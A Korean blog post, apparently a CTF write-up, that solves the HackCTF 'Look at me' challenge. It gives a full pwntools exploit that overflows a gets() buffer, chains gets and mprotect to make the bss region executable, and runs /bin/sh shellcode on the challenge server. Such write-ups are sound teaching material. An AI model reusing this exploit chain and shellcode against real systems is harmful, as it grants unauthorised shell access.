ii4gsp

HackCTF - Look at me 본문

시스템 해킹/HackCTF

HackCTF - Look at me

ii4gsp 2020. 2. 17. 21:11

파일을 다운받아 주자.

 

 

 

 

IDA로 열어보면 main()함수에서 look_at_me()함수를 호출한다.

 

 

 

 

look_at_me()함수에서 gets()함수로 입력을받는다.

v1은 0x18 즉, 24byte만큼 할당되었다.

이 파일은 NX-bit 보호기법이 걸려있다.

 

 

 

 

그리고 Dynamic Link Libc방식이 아닌 Static Link Libc라서 프로그램 내부에 함수가 많이 존재한다.

NX-bit 보호기법때문에 쉘 코드를 실행시키지 못하는데 프로그램 내부 함수중에 mprotect()함수가 존재한다.

mprotect()함수는 메모리 영역의 권한을 바꿀 수 있도록 해주어 인자에 7을 주면 RWX권한이 모두 주어진다.

mprotect()함수로 bss영역에 권한을주고 쉘 코드를 올려 실행시키면 된다.

 

 

 

 

Exploit

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3017)
e = ELF('/home/ii4gsp/HackCTF/lookatme')

shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'

gets = e.symbols['gets']
mprotect = e.symbols['mprotect']
bss = e.bss()
bss_start = 0x080ea000
pr = 0x80481c9
pppr = 0x80483c8

payload = ''
payload += '\x90' * 28
payload += p32(gets)
payload += p32(pr)
payload += p32(bss)
payload += p32(mprotect)
payload += p32(pppr)
payload += p32(bss_start)
payload += p32(8000)
payload += p32(7)
payload += p32(bss)

r.sendline(payload)

r.sendline(shellcode)

r.interactive()

소스코드를 작성해주자.

 

 

 

 

'시스템 해킹 > HackCTF' 카테고리의 다른 글

HackCTF - Pwning  (0) 2020.02.19
HackCTF - Gift  (0) 2020.02.18
HackCTF - Beginner_Heap  (0) 2020.02.17
HackCTF - RTL_Core  (0) 2020.02.17
HackCTF - Random Key  (0) 2020.02.16
Comments